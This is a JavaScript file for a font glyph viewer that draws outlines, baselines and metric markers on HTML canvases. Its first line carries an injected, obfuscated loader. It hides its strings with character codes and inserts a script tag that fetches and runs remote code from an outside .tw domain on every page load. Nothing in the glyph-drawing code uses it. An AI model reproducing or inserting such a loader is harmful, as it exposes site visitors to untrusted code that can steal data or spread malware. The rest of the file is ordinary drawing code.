Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,102,111,114,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();var Glyph = {
  glyphs: [],
  ratio: null, 
  head:  null, 
  os2:   null, 
  hmtx:  null,
  width: null,
  height: null,
  scale: 1.0,
  
  splitPath: function(path) {
  	return path.match(/([a-z])|(-?\d+(?:\.\d+)?)/ig);
  },

  drawPath: function(ctx, path) {
    var p = Glyph.splitPath(path);

    if (!p) {
      return;
    }

    var l = p.length;
    var i = 0;

    ctx.beginPath();

    while(i < l) {
      var v = p[i];

      switch(v) {
        case "M":
          ctx.moveTo(p[++i], p[++i]);
          break;

        case "L":
          ctx.lineTo(p[++i], p[++i]);
          break;

        case "Q":
          ctx.quadraticCurveTo(p[++i], p[++i], p[++i], p[++i]);
          break;

        case "z":
          i++;
          break;

        default:
          i++;
      }
    }

    ctx.fill();
    ctx.closePath();
  },
  
  drawSVGContours: function(ctx, contours) {
    // Is the path
    if (!$.isArray(contours)) {
      Glyph.drawPath(ctx, contours);
      return;
    }

    var contour, path, transform;

    for (var ci = 0, cl = contours.length; ci < cl; ci++) {
      contour = contours[ci];
      path = contour.contours;
      transform = contour.transform;

      ctx.save();
      ctx.transform(transform[0], transform[1], transform[2], transform[3], transform[4], transform[5]);
      Glyph.drawSVGContours(ctx, path);
      ctx.restore();
    }
  },
  
  drawHorizLine: function(ctx, y, color) {
    ctx.beginPath();
    ctx.strokeStyle = color;
    ctx.moveTo(0, y);
    ctx.lineTo(Glyph.width * Glyph.ratio, y);
    ctx.closePath();
    ctx.stroke();
  },
  
  draw: function (canvas, shape, gid) {
    var element  = canvas[0];
    var ctx      = element.getContext("2d");
    var ratio    = Glyph.ratio;
    var width    = Glyph.width  * Glyph.scale;
    var height   = Glyph.height * Glyph.scale;
    ctx.clearRect(0, 0, width, height);

    ctx.lineWidth = ratio / Glyph.scale;
    
    // Invert axis
    ctx.translate(0, height);
    ctx.scale(1/ratio, -(1/ratio));
    ctx.scale(Glyph.scale, Glyph.scale);
    
    ctx.translate(0, -Glyph.head.yMin);
    
    // baseline
    Glyph.drawHorizLine(ctx, 0, "rgba(0,255,0,0.2)");
    
    // ascender
    Glyph.drawHorizLine(ctx, Glyph.os2.typoAscender, "rgba(255,0,0,0.2)");
    
    // descender
    Glyph.drawHorizLine(ctx, -Math.abs(Glyph.os2.typoDescender), "rgba(255,0,0,0.2)");
    
    ctx.translate(-Glyph.head.xMin, 0);
    
    ctx.save();
      var s = ratio*3;
      
      ctx.strokeStyle = "rgba(0,0,0,0.5)";
      ctx.lineWidth = (ratio * 1.5) / Glyph.scale;
      
      // origin
      ctx.beginPath();
      ctx.moveTo(-s, -s);
      ctx.lineTo(+s, +s);
      ctx.moveTo(+s, -s);
      ctx.lineTo(-s, +s);
      ctx.closePath();
      ctx.stroke();
      
      // horizontal advance
      var advance = Glyph.hmtx[gid][0];
      ctx.beginPath();
      ctx.moveTo(-s+advance, -s);
      ctx.lineTo(+s+advance, +s);
      ctx.moveTo(+s+advance, -s);
      ctx.lineTo(-s+advance, +s);
      ctx.closePath();
      ctx.stroke();
    ctx.restore();
    
    if (!shape) {
      return;
    }
    
    // glyph bounding box
    ctx.beginPath();
    ctx.strokeStyle = "rgba(0,0,0,0.3)";
    ctx.rect(0, 0, shape.xMin + shape.xMax, shape.yMin + shape.yMax);
    ctx.closePath();
    ctx.stroke();
    
    ctx.strokeStyle = "black";
    //ctx.globalCompositeOperation = "xor";
    
    Glyph.drawSVGContours(ctx, shape.SVGContours);
  },
  drawAll: function(){
    $.each(Glyph.glyphs, function(i, g){
      Glyph.draw($('#glyph-canvas-'+g[0]), g[1], g[0]);
    });
  },
  resize: function(value){
    Glyph.scale = value / 100;

    $.each(document.getElementsByTagName('canvas'), function(i, canvas){
      canvas.height = Glyph.height * Glyph.scale;
      canvas.width  = Glyph.width  * Glyph.scale;
    });

    Glyph.drawAll();
  }
};

$(function(){
  Glyph.drawAll();
});